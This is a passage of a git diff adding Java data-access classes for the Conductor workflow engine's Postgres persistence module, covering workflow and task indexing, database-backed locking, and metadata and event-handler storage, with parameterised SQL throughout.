    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Timestamp; +import java.time.Instant; +import java.time.format.DateTimeFormatter; +import java.time.temporal.TemporalAccessor; +import java.util.*; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.ThreadPoolExecutor; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.postgres.config.PostgresProperties; +import com.netflix.conductor.postgres.util.PostgresIndexQueryBuilder; + +import com.fasterxml.jackson.databind.ObjectMapper; + +public class PostgresIndexDAO extends PostgresBaseDAO implements IndexDAO { + + private final PostgresProperties properties; + private final ExecutorService executorService; + + private static final int CORE_POOL_SIZE = 6; + private static final long KEEP_ALIVE_TIME = 1L; + + private boolean onlyIndexOnStatusChange; + + public PostgresIndexDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + PostgresProperties properties) { + super(retryTemplate, objectMapper, dataSource); + this.properties = properties; + this.onlyIndexOnStatusChange = properties.getOnlyIndexOnStatusChange(); + + int maximumPoolSize = properties.getAsyncMaxPoolSize(); + int workerQueueSize = properties.getAsyncWorkerQueueSize(); + + // Set up a workerpool for performing async operations. + this.executorService = + new ThreadPoolExecutor( + CORE_POOL_SIZE, + maximumPoolSize, + KEEP_ALIVE_TIME, + TimeUnit.MINUTES, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("indexQueue"); + }); + } + + @Override + public void indexWorkflow(WorkflowSummary workflow) { + String INSERT_WORKFLOW_INDEX_SQL = + "INSERT INTO workflow_index (workflow_id, correlation_id, workflow_type, start_time, update_time, status, parent_workflow_id, classifier, json_data)" + + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?::JSONB) ON CONFLICT (workflow_id) \n" + + "DO UPDATE SET correlation_id = EXCLUDED.correlation_id, workflow_type = EXCLUDED.workflow_type, " + + "start_time = EXCLUDED.start_time, status = EXCLUDED.status, json_data = EXCLUDED.json_data, " + + "update_time = EXCLUDED.update_time, parent_workflow_id = EXCLUDED.parent_workflow_id, " + + "classifier = EXCLUDED.classifier " + + "WHERE EXCLUDED.update_time >= workflow_index.update_time"; + + if (onlyIndexOnStatusChange) { + INSERT_WORKFLOW_INDEX_SQL += " AND workflow_index.status != EXCLUDED.status"; + } + + TemporalAccessor updateTa = DateTimeFormatter.ISO_INSTANT.parse(workflow.getUpdateTime()); + Timestamp updateTime = Timestamp.from(Instant.from(updateTa)); + + TemporalAccessor ta = DateTimeFormatter.ISO_INSTANT.parse(workflow.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(ta)); + + int rowsUpdated = + queryWithTransaction( + INSERT_WORKFLOW_INDEX_SQL, + q -> + q.addParameter(workflow.getWorkflowId()) + .addParameter(workflow.getCorrelationId()) + .addParameter(workflow.getWorkflowType()) + .addParameter(startTime) + .addParameter(updateTime) + .addParameter(workflow.getStatus().toString()) + .addParameter( + workflow.getParentWorkflowId() != null + ? workflow.getParentWorkflowId() + : "") + .addParameter(workflow.getClassifier()) + .addJsonParameter(workflow) + .executeUpdate()); + logger.debug("Postgres index workflow rows updated: {}", rowsUpdated); + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + PostgresIndexQueryBuilder queryBuilder = + new PostgresIndexQueryBuilder( + "workflow_index", query, freeText, start, count, sort, properties); + + List results = + queryWithTransaction( + queryBuilder.getQuery(), + q -> { + queryBuilder.addParameters(q); + queryBuilder.addPagingParameters(q); + return q.executeAndFetch(WorkflowSummary.class); + }); + + List totalHitResults = + queryWithTransaction( + queryBuilder.getCountQuery(), + q -> { + queryBuilder.addParameters(q); + return q.executeAndFetch(String.class); + }); + + int totalHits = Integer.valueOf(totalHitResults.get(0)); + return new SearchResult<>(totalHits, results); + } + + @Override + public void indexTask(TaskSummary task) { + String INSERT_TASK_INDEX_SQL = + "INSERT INTO task_index (task_id, task_type, task_def_name, status, start_time, update_time, workflow_type, json_data)" + + "VALUES (?, ?, ?, ?, ?, ?, ?, ?::JSONB) ON CONFLICT (task_id) " + + "DO UPDATE SET task_type = EXCLUDED.task_type, task_def_name = EXCLUDED.task_def_name, " + + "status = EXCLUDED.status, update_time = EXCLUDED.update_time, json_data = EXCLUDED.json_data " + + "WHERE EXCLUDED.update_time >= task_index.update_time"; + + if (onlyIndexOnStatusChange) { + INSERT_TASK_INDEX_SQL += " AND task_index.status != EXCLUDED.status"; + } + + TemporalAccessor updateTa = DateTimeFormatter.ISO_INSTANT.parse(task.getUpdateTime()); + Timestamp updateTime = Timestamp.from(Instant.from(updateTa)); + + TemporalAccessor startTa = DateTimeFormatter.ISO_INSTANT.parse(task.getStartTime()); + Timestamp startTime = Timestamp.from(Instant.from(startTa)); + + int rowsUpdated = + queryWithTransaction( + INSERT_TASK_INDEX_SQL, + q -> + q.addParameter(task.getTaskId()) + .addParameter(task.getTaskType()) + .addParameter(task.getTaskDefName()) + .addParameter(task.getStatus().toString()) + .addParameter(startTime) + .addParameter(updateTime) + .addParameter(task.getWorkflowType()) + .addJsonParameter(task) + .executeUpdate()); + logger.debug("Postgres index task rows updated: {}", rowsUpdated); + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + PostgresIndexQueryBuilder queryBuilder = + new PostgresIndexQueryBuilder( + "task_index", query, freeText, start, count, sort, properties); + + List results = + queryWithTransaction( + queryBuilder.getQuery(), + q -> { + queryBuilder.addParameters(q); + queryBuilder.addPagingParameters(q); + return q.executeAndFetch(TaskSummary.class); + }); + + List totalHitResults = + queryWithTransaction( + queryBuilder.getCountQuery(), + q -> { + queryBuilder.addParameters(q); + return q.executeAndFetch(String.class); + }); + + int totalHits = Integer.valueOf(totalHitResults.get(0)); + return new SearchResult<>(totalHits, results); + } + + @Override + public void addTaskExecutionLogs(List logs) { + String INSERT_LOG = + "INSERT INTO task_execution_logs (task_id, created_time, log) VALUES (?, ?, ?)"; + for (TaskExecLog log : logs) { + queryWithTransaction( + INSERT_LOG, + q -> + q.addParameter(log.getTaskId()) + .addParameter(new Timestamp(log.getCreatedTime())) + .addParameter(log.getLog()) + .executeUpdate()); + } + } + + @Override + public List getTaskExecutionLogs(String taskId) { + return queryWithTransaction( + "SELECT log, task_id, created_time FROM task_execution_logs WHERE task_id = ? ORDER BY created_time ASC", + q -> + q.addParameter(taskId) + .executeAndFetch( + rs -> { + List result = new ArrayList<>(); + while (rs.next()) { + TaskExecLog log = new TaskExecLog(); + log.setLog(rs.getString("log")); + log.setTaskId(rs.getString("task_id")); + log.setCreatedTime( + rs.getTimestamp("created_time").getTime()); + result.add(log); + } + return result; + })); + } + + @Override + public void setup() {} + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow) { + logger.info("asyncIndexWorkflow is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public CompletableFuture asyncIndexTask(TaskSummary task) { + logger.info("asyncIndexTask is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + logger.info("searchWorkflows is not supported for postgres indexing"); + return null; + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + logger.info("searchTasks is not supported for postgres indexing"); + return null; + } + + @Override + public void removeWorkflow(String workflowId) { + String REMOVE_WORKFLOW_SQL = "DELETE FROM workflow_index WHERE workflow_id = ?"; + + queryWithTransaction(REMOVE_WORKFLOW_SQL, q -> q.addParameter(workflowId).executeUpdate()); + } + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.runAsync(() -> removeWorkflow(workflowId), executorService); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) { + logger.info("updateWorkflow is not supported for postgres indexing"); + } + + @Override + public CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values) { + logger.info("asyncUpdateWorkflow is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public void removeTask(String workflowId, String taskId) { + String REMOVE_TASK_SQL = + "WITH task_delete AS (DELETE FROM task_index WHERE task_id = ?)" + + "DELETE FROM task_execution_logs WHERE task_id =?"; + + queryWithTransaction( + REMOVE_TASK_SQL, q -> q.addParameter(taskId).addParameter(taskId).executeUpdate()); + } + + @Override + public CompletableFuture asyncRemoveTask(String workflowId, String taskId) { + return CompletableFuture.runAsync(() -> removeTask(workflowId, taskId), executorService); + } + + @Override + public void updateTask(String workflowId, String taskId, String[] keys, Object[] values) { + logger.info("updateTask is not supported for postgres indexing"); + } + + @Override + public CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values) { + logger.info("asyncUpdateTask is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public String get(String workflowInstanceId, String key) { + logger.info("get is not supported for postgres indexing"); + return null; + } + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + logger.info("asyncAddTaskExecutionLogs is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public void addEventExecution(EventExecution eventExecution) { + logger.info("addEventExecution is not supported for postgres indexing"); + } + + @Override + public List getEventExecutions(String event) { + logger.info("getEventExecutions is not supported for postgres indexing"); + return null; + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + logger.info("asyncAddEventExecution is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public void addMessage(String queue, Message msg) { + logger.info("addMessage is not supported for postgres indexing"); + } + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + logger.info("asyncAddMessage is not supported for postgres indexing"); + return CompletableFuture.completedFuture(null); + } + + @Override + public List getMessages(String queue) { + logger.info("getMessages is not supported for postgres indexing"); + return null; + } + + @Override + public List searchArchivableWorkflows(String indexName, long archiveTtlDays) { + logger.info("searchArchivableWorkflows is not supported for postgres indexing"); + return null; + } + + public long getWorkflowCount(String query, String freeText) { + logger.info("getWorkflowCount is not supported for postgres indexing"); + return 0; + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresLockDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresLockDAO.java new file mode 100644 index 0000000..4a7be26 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresLockDAO.java @@ -0,0 +1,137 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.sync.Lock; + +import com.fasterxml.jackson.databind.ObjectMapper; + +public class PostgresLockDAO extends PostgresBaseDAO implements Lock { + private final long DAY_MS = 24 * 60 * 60 * 1000; + + private final ThreadLocal> heldByThread = + ThreadLocal.withInitial(HashMap::new); + + public PostgresLockDAO( + RetryTemplate retryTemplate, ObjectMapper objectMapper, DataSource dataSource) { + super(retryTemplate, objectMapper, dataSource); + } + + @Override + public void acquireLock(String lockId) { + acquireLock(lockId, DAY_MS, DAY_MS, TimeUnit.MILLISECONDS); + } + + @Override + public boolean acquireLock(String lockId, long timeToTry, TimeUnit unit) { + return acquireLock(lockId, timeToTry, DAY_MS, unit); + } + + @Override + public boolean acquireLock(String lockId, long timeToTry, long leaseTime, TimeUnit unit) { + Map holds = heldByThread.get(); + Hold hold = holds.get(lockId); + if (hold != null) { + hold.count++; + return true; + } + long leaseExpiresAtMillis = System.currentTimeMillis() + unit.toMillis(leaseTime); + if (acquireFromDb(lockId, timeToTry, leaseTime, unit)) { + holds.put(lockId, new Hold(leaseExpiresAtMillis)); + return true; + } + return false; + } + + private boolean acquireFromDb(String lockId, long timeToTry, long leaseTime, TimeUnit unit) { + long endTime = System.currentTimeMillis() + unit.toMillis(timeToTry); + while (System.currentTimeMillis() < endTime) { + var sql = + "INSERT INTO locks(lock_id, lease_expiration) VALUES (?, now() + (?::text || ' milliseconds')::interval) ON CONFLICT (lock_id) DO UPDATE SET lease_expiration = EXCLUDED.lease_expiration WHERE locks.lease_expiration <= now()"; + + int rowsAffected = + queryWithTransaction( + sql, + q -> + q.addParameter(lockId) + .addParameter(unit.toMillis(leaseTime)) + .executeUpdate()); + + if (rowsAffected > 0) { + return true; + } + + try { + Thread.sleep(100); + } catch (InterruptedException ie) { + Thread.currentThread().interrupt(); + return false; + } + } + return false; + } + + @Override + public void releaseLock(String lockId) { + Map holds = heldByThread.get(); + Hold hold = holds.get(lockId); + if (hold == null) { + deleteFromDb(lockId); + return; + } + if (hold.count > 1) { + hold.count--; + return; + } + holds.remove(lockId); + if (hold.leaseExpiresAtMillis > System.currentTimeMillis()) { + deleteFromDb(lockId); + } else { + deleteFromDbIfExpired(lockId); + } + } + + @Override + public void deleteLock(String lockId) { + heldByThread.get().remove(lockId); + deleteFromDb(lockId); + } + + private void deleteFromDb(String lockId) { + var sql = "DELETE FROM locks WHERE lock_id = ?"; + queryWithTransaction(sql, q -> q.addParameter(lockId).executeDelete()); + } + + private void deleteFromDbIfExpired(String lockId) { + var sql = "DELETE FROM locks WHERE lock_id = ? AND lease_expiration <= now()"; + queryWithTransaction(sql, q -> q.addParameter(lockId).executeDelete()); + } + + private static final class Hold { + int count; + final long leaseExpiresAtMillis; + + Hold(long leaseExpiresAtMillis) { + this.count = 1; + this.leaseExpiresAtMillis = leaseExpiresAtMillis; + } + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAO.java new file mode 100644 index 0000000..599b15a --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresMetadataDAO.java @@ -0,0 +1,616 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.postgres.config.PostgresProperties; +import com.netflix.conductor.postgres.util.ExecutorsUtil; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; +import jakarta.annotation.*; + +public class PostgresMetadataDAO extends PostgresBaseDAO implements MetadataDAO, EventHandlerDAO { + + private final ConcurrentHashMap taskDefCache = new ConcurrentHashMap<>(); + private static final String CLASS_NAME = PostgresMetadataDAO.class.getSimpleName(); + + private final ScheduledExecutorService scheduledExecutorService; + + public PostgresMetadataDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + PostgresProperties properties) { + super(retryTemplate, objectMapper, dataSource); + + long cacheRefreshTime = properties.getTaskDefCacheRefreshInterval().getSeconds(); + this.scheduledExecutorService = + Executors.newSingleThreadScheduledExecutor( + ExecutorsUtil.newNamedThreadFactory("postgres-metadata-")); + this.scheduledExecutorService.scheduleWithFixedDelay( + this::refreshTaskDefs, cacheRefreshTime, cacheRefreshTime, TimeUnit.SECONDS); + } + + @PreDestroy + public void destroy() { + try { + this.scheduledExecutorService.shutdown(); + if (scheduledExecutorService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + scheduledExecutorService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledExecutorService for refreshTaskDefs", + ie); + scheduledExecutorService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + public TaskDef createTaskDef(TaskDef taskDef) { + validate(taskDef); + insertOrUpdateTaskDef(taskDef); + return taskDef; + } + + @Override + public TaskDef updateTaskDef(TaskDef taskDef) { + validate(taskDef); + insertOrUpdateTaskDef(taskDef); + return taskDef; + } + + @Override + public TaskDef getTaskDef(String name) { + Preconditions.checkNotNull(name, "TaskDef name cannot be null"); + TaskDef taskDef = taskDefCache.get(name); + if (taskDef == null) { + if (logger.isTraceEnabled()) { + logger.trace("Cache miss: {}", name); + } + taskDef = getTaskDefFromDB(name); + } + + return taskDef; + } + + @Override + public List getAllTaskDefs() { + return getWithRetriedTransactions(this::findAllTaskDefs); + } + + @Override + public void removeTaskDef(String name) { + final String DELETE_TASKDEF_QUERY = "DELETE FROM meta_task_def WHERE name = ?"; + + executeWithTransaction( + DELETE_TASKDEF_QUERY, + q -> { + if (!q.addParameter(name).executeDelete()) { + throw new NotFoundException("No such task definition"); + } + + taskDefCache.remove(name); + }); + } + + @Override + public void createWorkflowDef(WorkflowDef def) { + validate(def); + + withTransaction( + tx -> { + if (workflowExists(tx, def)) { + throw new ConflictException( + "Workflow with " + def.key() + " already exists!"); + } + + insertOrUpdateWorkflowDef(tx, def); + }); + } + + @Override + public void updateWorkflowDef(WorkflowDef def) { + validate(def); + withTransaction(tx -> insertOrUpdateWorkflowDef(tx, def)); + } + + @Override + public Optional getLatestWorkflowDef(String name) { + final String GET_LATEST_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE NAME = ? AND " + + "version = latest_version"; + + return Optional.ofNullable( + queryWithTransaction( + GET_LATEST_WORKFLOW_DEF_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(WorkflowDef.class))); + } + + @Override + public Optional getWorkflowDef(String name, int version) { + final String GET_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE NAME = ? AND version = ?"; + return Optional.ofNullable( + queryWithTransaction( + GET_WORKFLOW_DEF_QUERY, + q -> + q.addParameter(name) + .addParameter(version) + .executeAndFetchFirst(WorkflowDef.class))); + } + + @Override + public void removeWorkflowDef(String name, Integer version) { + final String DELETE_WORKFLOW_QUERY = + "DELETE from meta_workflow_def WHERE name = ? AND version = ?"; + + withTransaction( + tx -> { + // remove specified workflow + execute( + tx, + DELETE_WORKFLOW_QUERY, + q -> { + if (!q.addParameter(name).addParameter(version).executeDelete()) { + throw new NotFoundException( + String.format( + "No such workflow definition: %s version: %d", + name, version)); + } + }); + // reset latest version based on remaining rows for this workflow + Optional maxVersion = getLatestVersion(tx, name); + maxVersion.ifPresent(newVersion -> updateLatestVersion(tx, name, newVersion)); + }); + } + + public List findAll() { + final String FIND_ALL_WORKFLOW_DEF_QUERY = "SELECT DISTINCT name FROM meta_workflow_def"; + return queryWithTransaction( + FIND_ALL_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(String.class)); + } + + @Override + public List getWorkflowNames() { + final String QUERY = "SELECT DISTINCT name FROM meta_workflow_def ORDER BY name"; + return queryWithTransaction(QUERY, q -> q.executeAndFetch(String.class)); + } + + @Override + public List getAllWorkflowDefs() { + final String GET_ALL_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def ORDER BY name, version"; + + return queryWithTransaction( + GET_ALL_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(WorkflowDef.class)); + } + + @Override + public List getAllWorkflowDefsLatestVersions() { + final String GET_ALL_WORKFLOW_DEF_LATEST_VERSIONS_QUERY = + "SELECT json_data FROM meta_workflow_def wd WHERE wd.version = (SELECT MAX(version) FROM meta_workflow_def wd2 WHERE wd2.name = wd.name)"; + return queryWithTransaction( + GET_ALL_WORKFLOW_DEF_LATEST_VERSIONS_QUERY, + q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List getAllLatest() { + final String GET_ALL_LATEST_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE version = " + "latest_version"; + + return queryWithTransaction( + GET_ALL_LATEST_WORKFLOW_DEF_QUERY, q -> q.executeAndFetch(WorkflowDef.class)); + } + + public List getAllVersions(String name) { + final String GET_ALL_VERSIONS_WORKFLOW_DEF_QUERY = + "SELECT json_data FROM meta_workflow_def WHERE name = ? " + "ORDER BY version"; + + return queryWithTransaction( + GET_ALL_VERSIONS_WORKFLOW_DEF_QUERY, + q -> q.addParameter(name).executeAndFetch(WorkflowDef.class)); + } + + @Override + public List getWorkflowVersions(String name) { + final String QUERY = + "SELECT version, created_on, modified_on FROM meta_workflow_def " + + "WHERE name = ? ORDER BY version"; + + return queryWithTransaction( + QUERY, + q -> + q.addParameter(name) + .executeAndFetch( + rs -> { + List summaries = new ArrayList<>(); + while (rs.next()) { + WorkflowDefSummary summary = + new WorkflowDefSummary(); + summary.setName(name); + summary.setVersion(rs.getInt("version")); + java.sql.Timestamp createdOn = + rs.getTimestamp("created_on"); + if (createdOn != null) { + summary.setCreateTime(createdOn.getTime()); + } + summaries.add(summary); + } + return summaries; + })); + } + + @Override + public void addEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "EventHandler name cannot be null"); + + final String INSERT_EVENT_HANDLER_QUERY = + "INSERT INTO meta_event_handler (name, event, active, json_data) " + + "VALUES (?, ?, ?, ?)"; + + withTransaction( + tx -> { + if (getEventHandler(tx, eventHandler.getName()) != null) { + throw new ConflictException( + "EventHandler with name " + + eventHandler.getName() + + " already exists!"); + } + + execute( + tx, + INSERT_EVENT_HANDLER_QUERY, + q -> + q.addParameter(eventHandler.getName()) + .addParameter(eventHandler.getEvent()) + .addParameter(eventHandler.isActive()) + .addJsonParameter(eventHandler) + .executeUpdate()); + }); + } + + @Override + public void updateEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "EventHandler name cannot be null"); + + // @formatter:off + final String UPDATE_EVENT_HANDLER_QUERY = + "UPDATE meta_event_handler SET " + + "event = ?, active = ?, json_data = ?, " + + "modified_on = CURRENT_TIMESTAMP WHERE name = ?"; + // @formatter:on + + withTransaction( + tx -> { + EventHandler existing = getEventHandler(tx, eventHandler.getName()); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name " + eventHandler.getName() + " not found!"); + } + + execute( + tx, + UPDATE_EVENT_HANDLER_QUERY, + q -> + q.addParameter(eventHandler.getEvent()) + .addParameter(eventHandler.isActive()) + .addJsonParameter(eventHandler) + .addParameter(eventHandler.getName()) + .executeUpdate()); + }); + } + + @Override + public void removeEventHandler(String name) { + final String DELETE_EVENT_HANDLER_QUERY = "DELETE FROM meta_event_handler WHERE name = ?"; + + withTransaction( + tx -> { + EventHandler existing = getEventHandler(tx, name); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name " + name + " not found!"); + } + + execute( + tx, + DELETE_EVENT_HANDLER_QUERY, + q -> q.addParameter(name).executeDelete()); + }); + } + + @Override + public List getAllEventHandlers() { + final String READ_ALL_EVENT_HANDLER_QUERY = "SELECT json_data FROM meta_event_handler"; + return queryWithTransaction( + READ_ALL_EVENT_HANDLER_QUERY, q -> q.executeAndFetch(EventHandler.class)); + } + + @Override + public List getEventHandlersForEvent(String event, boolean activeOnly) { + final String READ_ALL_EVENT_HANDLER_BY_EVENT_QUERY = + "SELECT json_data FROM meta_event_handler WHERE event = ?"; + return queryWithTransaction( + READ_ALL_EVENT_HANDLER_BY_EVENT_QUERY, + q -> { + q.addParameter(event); + return q.executeAndFetch( + rs -> { + List handlers = new ArrayList<>(); + while (rs.next()) { + EventHandler h = readValue(rs.getString(1), EventHandler.class); + if (!activeOnly || h.isActive()) { + handlers.add(h); + } + } + + return handlers; + }); + }); + } + + /** + * Use {@link Preconditions} to check for required {@link TaskDef} fields, throwing a Runtime + * exception if validations fail. + * + * @param taskDef The {@code TaskDef} to check. + */ + private void validate(TaskDef taskDef) { + Preconditions.checkNotNull(taskDef, "TaskDef object cannot be null"); + Preconditions.checkNotNull(taskDef.getName(), "TaskDef name cannot be null"); + } + + /** + * Use {@link Preconditions} to check for required {@link WorkflowDef} fields, throwing a + * Runtime exception if validations fail. + * + * @param def The {@code WorkflowDef} to check. + */ + private void validate(WorkflowDef def) { + Preconditions.checkNotNull(def, "WorkflowDef object cannot be null"); + Preconditions.checkNotNull(def.getName(), "WorkflowDef name cannot be null"); + } + + /** + * Retrieve a {@link EventHandler} by {@literal name}. + * + * @param connection The {@link Connection} to use for queries. + * @param name The {@code EventHandler} name to look for. + * @return {@literal null} if nothing is found, otherwise the {@code EventHandler}. + */ + private EventHandler getEventHandler(Connection connection, String name) { + final String READ_ONE_EVENT_HANDLER_QUERY = + "SELECT json_data FROM meta_event_handler WHERE name = ?"; + + return query( + connection, + READ_ONE_EVENT_HANDLER_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(EventHandler.class)); + } + + /** + * Check if a {@link WorkflowDef} with the same {@literal name} and {@literal version} already + * exist. + * + * @param connection The {@link Connection} to use for queries. + * @param def The {@code WorkflowDef} to check for. + * @return {@literal true} if a {@code WorkflowDef} already exists with the same values. + */ + private Boolean workflowExists(Connection connection, WorkflowDef def) { + final String CHECK_WORKFLOW_DEF_EXISTS_QUERY = + "SELECT COUNT(*) FROM meta_workflow_def WHERE name = ? AND " + "version = ?"; + + return query( + connection, + CHECK_WORKFLOW_DEF_EXISTS_QUERY, + q -> q.addParameter(def.getName()).addParameter(def.getVersion()).exists()); + } + + /** + * Return the latest version that exists for the provided {@code name}. + * + * @param tx The {@link Connection} to use for queries. + * @param name The {@code name} to check for. + * @return {@code Optional.empty()} if no versions exist, otherwise the max {@link + * WorkflowDef#getVersion} found. + */ + private Optional getLatestVersion(Connection tx, String name) { + final String GET_LATEST_WORKFLOW_DEF_VERSION = + "SELECT max(version) AS version FROM meta_workflow_def WHERE " + "name = ?"; + + Integer val = + query( + tx, + GET_LATEST_WORKFLOW_DEF_VERSION, + q -> { + q.addParameter(name); + return q.executeAndFetch( + rs -> { + if (!rs.next()) { + return null; + } + + return rs.getInt(1); + }); + }); + + return Optional.ofNullable(val); + } + + /** + * Update the latest version for the workflow with name {@code WorkflowDef} to the version + * provided in {@literal version}. + * + * @param tx The {@link Connection} to use for queries. + * @param name Workflow def name to update + * @param version The new latest {@code version} value. + */ + private void updateLatestVersion(Connection tx, String name, int version) { + final String UPDATE_WORKFLOW_DEF_LATEST_VERSION_QUERY = + "UPDATE meta_workflow_def SET latest_version = ? " + "WHERE name = ?"; + + execute( + tx, + UPDATE_WORKFLOW_DEF_LATEST_VERSION_QUERY, + q -> q.addParameter(version).addParameter(name).executeUpdate()); + } + + private void insertOrUpdateWorkflowDef(Connection tx, WorkflowDef def) { + final String INSERT_WORKFLOW_DEF_QUERY = + "INSERT INTO meta_workflow_def (name, version, json_data) VALUES (?," + " ?, ?)"; + + Optional version = getLatestVersion(tx, def.getName()); + if (!workflowExists(tx, def)) { + execute( + tx, + INSERT_WORKFLOW_DEF_QUERY, + q -> + q.addParameter(def.getName()) + .addParameter(def.getVersion()) + .addJsonParameter(def) + .executeUpdate()); + } else { + // @formatter:off + final String UPDATE_WORKFLOW_DEF_QUERY = + "UPDATE meta_workflow_def " + + "SET json_data = ?, modified_on = CURRENT_TIMESTAMP " + + "WHERE name = ? AND version = ?"; + // @formatter:on + + execute( + tx, + UPDATE_WORKFLOW_DEF_QUERY, + q -> + q.addJsonParameter(def) + .addParameter(def.getName()) + .addParameter(def.getVersion()) + .executeUpdate()); + } + int maxVersion = def.getVersion(); + if (version.isPresent() && version.get() > def.getVersion()) { + maxVersion = version.get(); + } + + updateLatestVersion(tx, def.getName(), maxVersion); + } + + /** + * Query persistence for all defined {@link TaskDef} data, and cache it in {@link + * #taskDefCache}. + */ + private void refreshTaskDefs() { + try { + withTransaction( + tx -> { + Map map = new HashMap<>(); + findAllTaskDefs(tx).forEach(taskDef -> map.put(taskDef.getName(), taskDef)); + + synchronized (taskDefCache) { + taskDefCache.clear(); + taskDefCache.putAll(map); + } + 